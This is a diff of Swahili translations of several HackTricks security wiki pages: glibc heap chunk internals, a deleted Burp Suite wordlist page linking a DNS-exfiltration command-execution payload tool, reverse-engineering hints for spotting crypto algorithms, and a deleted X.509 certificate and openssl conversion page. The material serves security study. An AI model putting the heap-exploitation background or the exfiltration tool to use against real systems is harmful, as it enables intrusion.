Kisha, nafasi ya data ya mtumiaji, na hatimaye 0x08B kuonyesha ukubwa wa kipande cha awali wakati kipande kinapatikana (au kuhifadhi data ya mtumiaji wakati kinapopewa).
Zaidi ya hayo, wakati inapatikana, data ya mtumiaji inatumika pia kubeba data fulani:
Zaidi ya hayo, wakati kinapatikana, data ya mtumiaji inatumika pia kubeba data fulani:
- **`fd`**: Kielekezi kwa kipande kinachofuata
- **`bk`**: Kielekezi kwa kipande cha awali
@ -178,12 +180,12 @@ Zaidi ya hayo, wakati inapatikana, data ya mtumiaji inatumika pia kubeba data fu
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Tambua jinsi kuunganisha orodha kwa njia hii kunazuia haja ya kuwa na array ambapo kila kipande kimoja kinarekodiwa.
> [!TIP]
> Kumbuka jinsi kuunganisha orodha kwa njia hii kunazuia haja ya kuwa na array ambapo kila kipande kimoja kinarekodiwa.
### Kielekezi za Kipande
Wakati malloc inatumika, kielekezi kwa maudhui ambayo yanaweza kuandikwa kinarejeshwa (karibu baada ya vichwa), hata hivyo, wakati wa kusimamia vipande, inahitajika kielekezi kwa mwanzo wa vichwa (metadata).\
Wakati malloc inatumika, kielekezi kwa maudhui ambayo yanaweza kuandikwa kinarejeshwa (mara tu baada ya vichwa), hata hivyo, wakati wa kusimamia vipande, inahitajika kielekezi kwa mwanzo wa vichwa (metadata).\
Kwa ajili ya mabadiliko haya, kazi hizi zinatumika:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -259,11 +261,11 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
Kumbuka kwamba kwa kuhesabu nafasi yote inayohitajika, `SIZE_SZ` inaongezwa mara moja tu kwa sababu uwanja wa `prev_size` unaweza kutumika kuhifadhi data, hivyo basi kichwa cha awali pekee kinahitajika.
Kumbuka kwamba kwa kuhesabu jumla ya nafasi inayohitajika, `SIZE_SZ` inaongezwa mara 1 tu kwa sababu uwanja wa `prev_size` unaweza kutumika kuhifadhi data, kwa hivyo kichwa cha awali pekee kinahitajika.
### Pata data ya Chunk na badilisha metadata
Hizi kazi zinafanya kazi kwa kupokea kiashiria kwa chunk na ni muhimu kuangalia/kweka metadata:
Hizi kazi zinafanya kazi kwa kupokea kiashiria kwa chunk na ni muhimu kuangalia/set metadata:
- Angalia bendera za chunk
```c
@ -352,7 +354,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Weka kichwa na mguu (wakati nambari za sehemu zinatumika)
- Weka kichwa na footer (wakati nambari za sehemu zinatumika)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -409,13 +411,13 @@ ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Weka breakpoint mwishoni mwa kazi kuu na tuone ni wapi taarifa zilihifadhiwa:
Seti breakpoint kwenye mwisho wa kazi kuu na tuone ambapo taarifa ilihifadhiwa:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
Inawezekana kuona kwamba mfuatano panda ulihifadhiwa kwenye `0xaaaaaaac12a0` (ambayo ilikuwa anwani iliyotolewa kama jibu na malloc ndani ya `x0`). Kuangalia 0x10 bytes kabla inawezekana kuona kwamba `0x0` inawakilisha kwamba **kipande cha awali hakijatumika** (urefu 0) na kwamba urefu wa kipande hiki ni `0x21`.
Inawezekana kuona kwamba mfuatano panda ulihifadhiwa kwenye `0xaaaaaaac12a0` (ambayo ilikuwa anwani iliyotolewa kama jibu na malloc ndani ya `x0`). Kuangalia 0x10 bytes kabla inawezekana kuona kwamba `0x0` inawakilisha kwamba **kipande cha awali hakitumiki** (urefu 0) na kwamba urefu wa kipande hiki ni `0x21`.
Nafasi za ziada zilizohifadhiwa (0x21-0x10=0x11) zinatokana na **vichwa vilivyoongezwa** (0x10) na 0x1 haimaanishi kwamba ilihifadhiwa 0x21B bali bits tatu za mwisho za urefu wa kichwa cha sasa zina maana maalum. Kwa kuwa urefu daima umewekwa sawa na byte 16 (katika mashine za 64bits), bits hizi kwa kweli hazitakuwa zitatumika na nambari ya urefu.
Nafasi za ziada zilizohifadhiwa (0x21-0x10=0x11) zinatokana na **vichwa vilivyoongezwa** (0x10) na 0x1 haimaanishi kwamba ilihifadhiwa 0x21B bali bits tatu za mwisho za urefu wa kichwa cha sasa zina maana maalum. Kwa kuwa urefu daima umeunganishwa kwa byte 16 (katika mashine za 64bits), bits hizi kwa kweli hazitakuwa zitatumika na nambari ya urefu.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@ -469,7 +471,7 @@ return 0;
```
</details>
Kwa kuangalia mfano wa awali, inawezekana kuona jinsi mwanzoni kuna arena 1 tu:
Kwa kuangalia mfano uliopita, inawezekana kuona jinsi mwanzoni kulikuwa na arena 1 tu:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -481,17 +483,17 @@ na ndani yake kuna chunks kadhaa zinazoweza kupatikana:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Allocations za Kumbukumbu
## Bins & Allocations za Kumbukumbu/Kuondoa
Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuachiliwa katika:
Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuondolewa katika:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
## Ukaguzi wa Usalama wa Fungsi za Heap
## Ukaguzi wa Usalama wa Kazi za Heap
Fungsi zinazohusiana na heap zitafanya ukaguzi fulani kabla ya kutekeleza vitendo vyake ili kujaribu kuhakikisha kuwa heap haijaharibiwa:
Kazi zinazohusiana na heap zitaweka ukaguzi fulani kabla ya kutekeleza vitendo vyake ili kujaribu kuhakikisha kuwa heap haijaharibiwa:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,19 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# Mifumo ya Msingi
- **Orodha Rahisi:** Orodha tu yenye kipengee katika kila mstari
- **Faili ya Wakati wa Uendeshaji:** Orodha inayosomwa wakati wa uendeshaji (siyo iliyopakuliwa kwenye kumbukumbu). Kwa kusaidia orodha kubwa.
- **Mabadiliko ya Kesi:** Fanya mabadiliko fulani kwa orodha ya nyuzi (Hakuna mabadiliko, kwa chini, kwa JUU, kwa Jina Sahihi - Kwanza kuandikwa kwa herufi kubwa na zingine kwa chini-, kwa Jina Sahihi -Kwanza kuandikwa kwa herufi kubwa na zingine zinabaki vile vile-).
- **Nambari:** Tengeneza nambari kutoka X hadi Y kwa kutumia hatua Z au kwa bahati nasibu.
- **Brute Forcer:** Seti ya wahusika, urefu wa chini na wa juu.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload ya kutekeleza amri na kupata matokeo kupitia maombi ya DNS kwa burpcollab.
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,22 +1,20 @@
# Algorithimu za Kijamii/Kubana
## Algorithimu za Kijamii/Kubana
# Cryptographic/Compression Algorithms
{{#include ../../banners/hacktricks-training.md}}
## Kutambua Algorithimu
## Identifying Algorithms
Ikiwa unamaliza katika msimbo **ukitumia shift kulia na kushoto, xors na operesheni kadhaa za hesabu** kuna uwezekano mkubwa kwamba ni utekelezaji wa **algorithimu ya kijamii**. Hapa kuna njia kadhaa za **kutambua algorithimu inayotumika bila kuhitaji kubadilisha kila hatua**.
Ikiwa unamaliza katika msimbo **ukitumia shift rights and lefts, xors na operesheni kadhaa za hesabu** ni uwezekano mkubwa kwamba ni utekelezaji wa **cryptographic algorithm**. Hapa kuna njia kadhaa za **kutambua algorithm inayotumika bila kuhitaji kubadilisha kila hatua**.
### API kazi
### API functions
**CryptDeriveKey**
Ikiwa kazi hii inatumika, unaweza kupata ni **algorithimu ipi inatumika** ukikagua thamani ya parameter ya pili:
Ikiwa kazi hii inatumika, unaweza kupata ni **algorithm gani inayotumika** ukichunguza thamani ya parameter ya pili:
![](<../../images/image (156).png>)
Angalia hapa jedwali la algorithimu zinazowezekana na thamani zao zilizotolewa: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Angalia hapa jedwali la algorithms zinazowezekana na thamani zao zilizotolewa: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
@ -24,87 +22,87 @@ Inabana na kufungua buffer fulani ya data.
**CryptAcquireContext**
Kutoka [nyaraka](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Kazi ya **CryptAcquireContext** inatumika kupata mkono wa chombo maalum cha funguo ndani ya mtoa huduma maalum wa kijamii (CSP). **Mkononi huu unarudiwa unatumika katika simu za kazi za CryptoAPI** zinazotumia CSP iliyochaguliwa.
Kutoka [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Kazi ya **CryptAcquireContext** inatumika kupata mkono wa container maalum ya funguo ndani ya mtoa huduma maalum wa cryptographic (CSP). **Huu mkono uliorejeshwa unatumika katika wito wa kazi za CryptoAPI** zinazotumia CSP iliyochaguliwa.
**CryptCreateHash**
Inaanzisha hashing ya mtiririko wa data. Ikiwa kazi hii inatumika, unaweza kupata ni **algorithimu ipi inatumika** ukikagua thamani ya parameter ya pili:
Inaanzisha hashing ya mtiririko wa data. Ikiwa kazi hii inatumika, unaweza kupata ni **algorithm gani inayotumika** ukichunguza thamani ya parameter ya pili:
![](<../../images/image (549).png>)
\
Angalia hapa jedwali la algorithimu zinazowezekana na thamani zao zilizotolewa: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Angalia hapa jedwali la algorithms zinazowezekana na thamani zao zilizotolewa: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Misingi ya msimbo
### Code constants
Wakati mwingine ni rahisi sana kutambua algorithimu kutokana na ukweli kwamba inahitaji kutumia thamani maalum na ya kipekee.
Wakati mwingine ni rahisi sana kutambua algorithm kutokana na ukweli kwamba inahitaji kutumia thamani maalum na ya kipekee.
![](<../../images/image (833).png>)
Ikiwa unatafuta msingi wa kwanza kwenye Google hii ndiyo unayopata:
Ikiwa unatafuta constant ya kwanza kwenye Google hii ndiyo unapata:
![](<../../images/image (529).png>)
Kwa hivyo, unaweza kudhani kwamba kazi iliyotolewa ni **sha256 calculator.**\
Unaweza kutafuta yoyote ya misingi mingine na utapata (labda) matokeo sawa.
Unaweza kutafuta yoyote ya constants nyingine na utapata (labda) matokeo sawa.
### taarifa za data
### data info
Ikiwa msimbo huna msingi wowote muhimu inaweza kuwa **inapakia taarifa kutoka sehemu ya .data**.\
Unaweza kufikia data hiyo, **kundi la dword ya kwanza** na kutafuta hiyo kwenye google kama tulivyofanya katika sehemu iliyopita:
Ikiwa msimbo huna constant yoyote muhimu inaweza kuwa **inapakia habari kutoka sehemu ya .data**.\
Unaweza kufikia data hiyo, **kundi la dword ya kwanza** na kutafuta katika google kama tulivyofanya katika sehemu iliyopita:
![](<../../images/image (531).png>)
Katika kesi hii, ikiwa utaangalia **0xA56363C6** unaweza kupata kwamba inahusiana na **meza za algorithimu ya AES**.
Katika kesi hii, ikiwa utaangalia **0xA56363C6** unaweza kupata kwamba inahusiana na **meza za algorithm ya AES**.
## RC4 **(Kijamii Crypt)**
## RC4 **(Symmetric Crypt)**
### Tabia
### Characteristics
Inajumuisha sehemu 3 kuu:
Imepangwa kwa sehemu 3 kuu:
- **Hatua ya Kuanza/**: Inaunda **meza ya thamani kutoka 0x00 hadi 0xFF** (256bytes kwa jumla, 0x100). Meza hii kwa kawaida inaitwa **Sanduku la Kubadilisha** (au SBox).
- **Hatua ya Kuchanganya**: Itakuwa **inazunguka kupitia meza** iliyoundwa hapo awali (zunguko wa 0x100, tena) ikibadilisha kila thamani kwa **bytes za nadharia**. Ili kuunda hizi bytes za nadharia, funguo za RC4 **zinatumika**. Funguo za RC4 **zinaweza kuwa** **kati ya 1 na 256 bytes kwa urefu**, hata hivyo kawaida inapendekezwa iwe juu ya 5 bytes. Kwa kawaida, funguo za RC4 ni 16 bytes kwa urefu.
- **Hatua ya XOR**: Hatimaye, maandiko ya wazi au cyphertext **yanapigwa XOR na thamani zilizoundwa hapo awali**. Kazi ya kuandika na kufungua ni ile ile. Kwa hili, **zunguko kupitia bytes 256 zilizoundwa** utafanywa mara nyingi kadri inavyohitajika. Hii kawaida inatambuliwa katika msimbo uliotolewa na **%256 (mod 256)**.
- **Initialization stage/**: Inaunda **meza ya thamani kutoka 0x00 hadi 0xFF** (256bytes kwa jumla, 0x100). Meza hii kwa kawaida inaitwa **Substitution Box** (au SBox).
- **Scrambling stage**: Itafanya **mzunguko kupitia meza** iliyoundwa hapo awali (mzunguko wa 0x100 iterations, tena) ikibadilisha kila thamani kwa **bytes za nadharia**. Ili kuunda hizi bytes za nadharia, funguo ya RC4 **inatumika**. Funguo za RC4 zinaweza kuwa **kati ya 1 na 256 bytes kwa urefu**, hata hivyo kawaida inapendekezwa iwe juu ya 5 bytes. Kwa kawaida, funguo za RC4 ni 16 bytes kwa urefu.
- **XOR stage**: Hatimaye, maandiko ya wazi au cyphertext **yanapigwa XOR na thamani zilizoundwa hapo awali**. Kazi ya kuandika na kufungua ni ile ile. Kwa hili, **mzunguko kupitia bytes 256 zilizoundwa** utafanywa mara nyingi kadri inavyohitajika. Hii kwa kawaida inatambuliwa katika msimbo uliotolewa na **%256 (mod 256)**.
> [!NOTE]
> **Ili kutambua RC4 katika msimbo wa disassembly/uliotolewa unaweza kuangalia kwa zunguko 2 za ukubwa 0x100 (kwa kutumia funguo) na kisha XOR ya data ya ingizo na thamani 256 zilizoundwa hapo awali katika zunguko 2 labda kwa kutumia %256 (mod 256)**
> [!TIP]
> **Ili kutambua RC4 katika msimbo wa disassembly/decompiled unaweza kuangalia kwa mizunguko 2 ya ukubwa 0x100 (kwa kutumia funguo) na kisha XOR ya data ya ingizo na thamani 256 zilizoundwa hapo awali katika mizunguko 2 labda kwa kutumia %256 (mod 256)**
### **Hatua ya Kuanza/Sanduku la Kubadilisha:** (Angalia nambari 256 inayotumika kama hesabu na jinsi 0 inavyoandikwa katika kila mahali pa wahusika 256)
### **Initialization stage/Substitution Box:** (Angalia nambari 256 inayotumika kama hesabu na jinsi 0 inavyoandikwa katika kila mahali pa wahusika 256)
![](<../../images/image (584).png>)
### **Hatua ya Kuchanganya:**
### **Scrambling Stage:**
![](<../../images/image (835).png>)
### **Hatua ya XOR:**
### **XOR Stage:**
![](<../../images/image (904).png>)
## **AES (Kijamii Crypt)**
## **AES (Symmetric Crypt)**
### **Tabia**
### **Characteristics**
- Matumizi ya **sanduku za kubadilisha na meza za kutafuta**
- Inawezekana **kutofautisha AES kutokana na matumizi ya thamani maalum za meza za kutafuta** (misingi). _Kumbuka kwamba **misingi** inaweza **kuhifadhiwa** katika binary **au kuundwa** _**kikamilifu**._
- **Funguo ya kuandika** lazima iwe **inaweza kugawanywa** na **16** (kawaida 32B) na kawaida **IV** ya 16B inatumika.
- Matumizi ya **substitution boxes na lookup tables**
- Inawezekana **kutofautisha AES kutokana na matumizi ya thamani maalum za lookup table** (constants). _Kumbuka kwamba **constant** inaweza **kuhifadhiwa** katika binary **au kuundwa** _**dynamically**._
- Funguo ya **encryption** lazima iwe **inaweza kugawanywa** kwa **16** (kawaida 32B) na kawaida **IV** ya 16B inatumika.
### Misingi ya SBox
### SBox constants
![](<../../images/image (208).png>)
## Serpent **(Kijamii Crypt)**
## Serpent **(Symmetric Crypt)**
### Tabia
### Characteristics
- Ni nadra kupata malware inayotumia lakini kuna mifano (Ursnif)
- Rahisi kubaini ikiwa algorithimu ni Serpent au la kulingana na urefu wake (kazi ndefu sana)
- Ni nadra kupata malware ikitumia lakini kuna mifano (Ursnif)
- Rahisi kubaini ikiwa algorithm ni Serpent au la kulingana na urefu wake (kazi ndefu sana)
### Kutambua
### Identifying
Katika picha ifuatayo angalia jinsi msingi **0x9E3779B9** unavyotumika (kumbuka kwamba msingi huu pia unatumika na algorithimu nyingine za crypto kama **TEA** -Tiny Encryption Algorithm).\
Pia angalia **ukubwa wa zunguko** (**132**) na **idadi ya operesheni za XOR** katika **maelekezo ya disassembly** na katika **mfano wa msimbo**:
Katika picha ifuatayo angalia jinsi constant **0x9E3779B9** inavyotumika (kumbuka kwamba constant hii pia inatumika na algorithms nyingine za crypto kama **TEA** -Tiny Encryption Algorithm).\
Pia angalia **ukubwa wa mzunguko** (**132**) na **idadi ya operesheni za XOR** katika **maagizo ya disassembly** na katika **mfano wa msimbo**:
![](<../../images/image (547).png>)
@ -112,17 +110,17 @@ Kama ilivyotajwa hapo awali, msimbo huu unaweza kuonyeshwa ndani ya decompiler y
![](<../../images/image (513).png>)
Kwa hivyo, inawezekana kutambua algorithimu hii ukikagua **nambari ya uchawi** na **XORs za awali**, kuona **kazi ndefu sana** na **kulinganisha** baadhi ya **maelekezo** ya kazi ndefu **na utekelezaji** (kama shift kushoto kwa 7 na kuzungusha kushoto kwa 22).
Kwa hivyo, inawezekana kutambua algorithm hii ukichunguza **nambari ya uchawi** na **XORs za awali**, kuona **kazi ndefu sana** na **kulinganisha** baadhi ya **maagizo** ya kazi ndefu **na utekelezaji** (kama shift left kwa 7 na rotate left kwa 22).
## RSA **(Kijamii Crypt)**
## RSA **(Asymmetric Crypt)**
### Tabia
### Characteristics
- Ngumu zaidi kuliko algorithimu za kijamii
- Hakuna misingi! (utekelezaji wa kawaida ni mgumu kubaini)
- KANAL (mchambuzi wa crypto) inashindwa kuonyesha vidokezo juu ya RSA na inategemea misingi.
- Ngumu zaidi kuliko algorithms za symmetric
- Hakuna constants! (utekelezaji wa kawaida ni mgumu kubaini)
- KANAL (mchambuzi wa crypto) inashindwa kuonyesha vidokezo juu ya RSA kwani inategemea constants.
### Kutambua kwa kulinganisha
### Identifying by comparisons
![](<../../images/image (1113).png>)
@ -131,48 +129,48 @@ Kwa hivyo, inawezekana kutambua algorithimu hii ukikagua **nambari ya uchawi** n
## MD5 & SHA (hash)
### Tabia
### Characteristics
- Kazi 3: Kuanza, Sasisha, Mwisho
- Kazi 3: Init, Update, Final
- Kazi za kuanzisha zinazofanana
### Tambua
### Identify
**Kuanza**
**Init**
Unaweza kutambua zote mbili ukikagua misingi. Kumbuka kwamba sha_init ina msingi 1 ambao MD5 haina:
Unaweza kutambua zote mbili ukichunguza constants. Kumbuka kwamba sha_init ina constant 1 ambayo MD5 haina:
![](<../../images/image (406).png>)
**MD5 Transform**
Kumbuka matumizi ya misingi zaidi
Kumbuka matumizi ya constants zaidi
![](<../../images/image (253) (1) (1).png>)
## CRC (hash)
- Ndogo na yenye ufanisi kwani kazi yake ni kupata mabadiliko yasiyokusudiwa katika data
- Inatumia meza za kutafuta (hivyo unaweza kutambua misingi)
- Inatumia lookup tables (hivyo unaweza kutambua constants)
### Tambua
### Identify
Angalia **misingi ya meza za kutafuta**:
Angalia **lookup table constants**:
![](<../../images/image (508).png>)
Algorithimu ya hash ya CRC inaonekana kama:
Algorithm ya CRC hash inaonekana kama:
![](<../../images/image (391).png>)
## APLib (Kubana)
## APLib (Compression)
### Tabia
### Characteristics
- Hakuna misingi inayotambulika
- Unaweza kujaribu kuandika algorithimu hiyo katika python na kutafuta mambo yanayofanana mtandaoni
- Hakuna constants zinazotambulika
- Unaweza kujaribu kuandika algorithm hiyo katika python na kutafuta mambo yanayofanana mtandaoni
### Tambua
### Identify
Grafu ni kubwa sana:

View File

@ -1,157 +0,0 @@
# Vyeti
{{#include ../banners/hacktricks-training.md}}
## Nini ni Cheti
Cheti cha **funguo ya umma** ni kitambulisho cha kidijitali kinachotumika katika cryptography kuthibitisha kwamba mtu anamiliki funguo ya umma. Kinajumuisha maelezo ya funguo, utambulisho wa mmiliki (mada), na saini ya kidijitali kutoka kwa mamlaka inayotegemewa (mtoaji). Ikiwa programu inategemea mtoaji na saini ni halali, mawasiliano salama na mmiliki wa funguo yanawezekana.
Vyeti kwa kawaida vinatolewa na [mamlaka ya vyeti](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) katika muundo wa [miundombinu ya funguo za umma](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Njia nyingine ni [mtandao wa kuaminiana](https://en.wikipedia.org/wiki/Web_of_trust), ambapo watumiaji wanathibitisha funguo za kila mmoja moja kwa moja. Muundo wa kawaida wa vyeti ni [X.509](https://en.wikipedia.org/wiki/X.509), ambayo inaweza kubadilishwa kwa mahitaji maalum kama ilivyoelezwa katika RFC 5280.
## x509 Sehemu za Kawaida
### **Sehemu za Kawaida katika Vyeti vya x509**
Katika vyeti vya x509, sehemu kadhaa **zinacheza** majukumu muhimu katika kuhakikisha halali na usalama wa cheti. Hapa kuna muhtasari wa sehemu hizi:
- **Nambari ya Toleo** inaashiria toleo la muundo wa x509.
- **Nambari ya Mfululizo** inatambulisha cheti kwa kipekee ndani ya mfumo wa Mamlaka ya Cheti (CA), hasa kwa ajili ya kufuatilia kufutwa.
- Sehemu ya **Mada** inawakilisha mmiliki wa cheti, ambaye anaweza kuwa mashine, mtu binafsi, au shirika. Inajumuisha utambulisho wa kina kama:
- **Jina la Kawaida (CN)**: Majina ya maeneo yanayofunikwa na cheti.
- **Nchi (C)**, **Eneo (L)**, **Jimbo au Mkoa (ST, S, au P)**, **Shirika (O)**, na **Kitengo cha Shirika (OU)** vinatoa maelezo ya kijiografia na ya shirika.
- **Jina Lililotambulika (DN)** linajumuisha utambulisho kamili wa mada.
- Maelezo ya **Mtoaji** yanaeleza nani alithibitisha na kusaini cheti, ikiwa ni pamoja na sehemu zinazofanana kama za Mada kwa CA.
- **Muda wa Halali** umewekwa alama na **Siyo Kabla** na **Siyo Baada** ya alama za muda, kuhakikisha cheti hakitumiki kabla au baada ya tarehe fulani.
- Sehemu ya **Funguo ya Umma**, muhimu kwa usalama wa cheti, inaelezea algorithimu, ukubwa, na maelezo mengine ya kiufundi ya funguo ya umma.
- **x509v3 nyongeza** zinaboresha kazi za cheti, zikielezea **Matumizi ya Funguo**, **Matumizi ya Funguo ya Kupanuliwa**, **Jina Alternatif la Mada**, na mali nyingine za kuboresha matumizi ya cheti.
#### **Matumizi ya Funguo na Nyongeza**
- **Matumizi ya Funguo** yanatambulisha matumizi ya cryptographic ya funguo ya umma, kama saini ya kidijitali au ufichaji wa funguo.
- **Matumizi ya Funguo ya Kupanuliwa** yanapunguza zaidi matumizi ya cheti, kwa mfano, kwa uthibitisho wa seva ya TLS.
- **Jina Alternatif la Mada** na **Kikomo cha Msingi** vin定义 majina mengine ya mwenyeji yanayofunikwa na cheti na ikiwa ni cheti cha CA au cheti cha mwisho, mtawalia.
- Vitambulisho kama **Vitambulisho vya Funguo vya Mada** na **Vitambulisho vya Funguo vya Mamlaka** vinahakikisha upekee na ufuatiliaji wa funguo.
- **Upatikanaji wa Taarifa za Mamlaka** na **Nukta za Usambazaji wa CRL** vinatoa njia za kuthibitisha CA inayotoa na kuangalia hali ya kufutwa kwa cheti.
- **CT Precertificate SCTs** vinatoa kumbukumbu za uwazi, muhimu kwa uaminifu wa umma katika cheti.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
issuer = certificate.issuer
subject = certificate.subject
public_key = certificate.public_key()
print(f"Serial Number: {serial_number}")
print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Tofauti kati ya OCSP na CRL Distribution Points**
**OCSP** (**RFC 2560**) inahusisha mteja na responder wakifanya kazi pamoja kuangalia kama cheti cha umma wa dijiti kimeondolewa, bila kuhitaji kupakua **CRL** kamili. Njia hii ni bora zaidi kuliko **CRL** ya jadi, ambayo inatoa orodha ya nambari za serial za vyeti vilivyondolewa lakini inahitaji kupakua faili kubwa. CRLs zinaweza kujumuisha hadi entries 512. Maelezo zaidi yanapatikana [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Nini maana ya Uwazi wa Cheti**
Uwazi wa Cheti husaidia kupambana na vitisho vinavyohusiana na vyeti kwa kuhakikisha utoaji na uwepo wa vyeti vya SSL unaonekana kwa wamiliki wa domain, CAs, na watumiaji. Malengo yake ni:
- Kuzuia CAs kutoa vyeti vya SSL kwa domain bila maarifa ya mmiliki wa domain.
- Kuanzisha mfumo wa ukaguzi wa wazi wa kufuatilia vyeti vilivyotolewa kwa makosa au kwa uovu.
- Kulinda watumiaji dhidi ya vyeti vya udanganyifu.
#### **Makaratasi ya Vyeti**
Makaratasi ya vyeti ni rekodi za vyeti zinazoweza kukaguliwa hadharani, zinazoongezwa tu, zinazoshughulikiwa na huduma za mtandao. Makaratasi haya yanatoa uthibitisho wa kihesabu kwa ajili ya ukaguzi. Mamlaka za utoaji na umma wanaweza kuwasilisha vyeti kwenye makaratasahaya au kuyatafuta kwa ajili ya uthibitisho. Ingawa idadi halisi ya seva za log haijafanywa kuwa thabiti, inatarajiwa kuwa chini ya elfu moja duniani kote. Seva hizi zinaweza kusimamiwa kwa uhuru na CAs, ISPs, au shirika lolote linalovutiwa.
#### **Utafutaji**
Ili kuchunguza makaratasahaya ya Uwazi wa Cheti kwa domain yoyote, tembelea [https://crt.sh/](https://crt.sh).
Mifumo tofauti inapatikana kwa ajili ya kuhifadhi vyeti, kila moja ikiwa na matumizi yake na ulinganifu. Muhtasari huu unashughulikia mifumo kuu na kutoa mwongozo juu ya kubadilisha kati yao.
## **Mifumo**
### **PEM Format**
- Mfumo unaotumika zaidi kwa vyeti.
- Unahitaji faili tofauti kwa vyeti na funguo za faragha, zilizowekwa katika Base64 ASCII.
- Upanuzi wa kawaida: .cer, .crt, .pem, .key.
- Kimsingi hutumiwa na Apache na seva zinazofanana.
### **DER Format**
- Mfumo wa binary wa vyeti.
- Huna taarifa za "BEGIN/END CERTIFICATE" zinazopatikana katika faili za PEM.
- Upanuzi wa kawaida: .cer, .der.
- Mara nyingi hutumiwa na majukwaa ya Java.
### **P7B/PKCS#7 Format**
- Huhifadhiwa katika Base64 ASCII, ikiwa na upanuzi .p7b au .p7c.
- Inajumuisha vyeti tu na vyeti vya mnyororo, ikiondoa funguo ya faragha.
- Inasaidiwa na Microsoft Windows na Java Tomcat.
### **PFX/P12/PKCS#12 Format**
- Mfumo wa binary unaojumuisha vyeti vya seva, vyeti vya kati, na funguo za faragha katika faili moja.
- Upanuzi: .pfx, .p12.
- Kimsingi hutumiwa kwenye Windows kwa ajili ya kuagiza na kusafirisha vyeti.
### **Kubadilisha Mifumo**
**Mabadiliko ya PEM** ni muhimu kwa ajili ya ulinganifu:
- **x509 to PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM hadi DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER hadi PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM hadi P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 hadi PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX conversions** ni muhimu kwa usimamizi wa vyeti kwenye Windows:
- **PFX to PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX hadi PKCS#8** inahusisha hatua mbili:
1. Geuza PFX kuwa PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Geuza PEM kuwa PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** pia inahitaji amri mbili:
1. Geuza P7B kuwa CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Badilisha CER na Funguo Binafsi kuwa PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
---
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,55 +0,0 @@
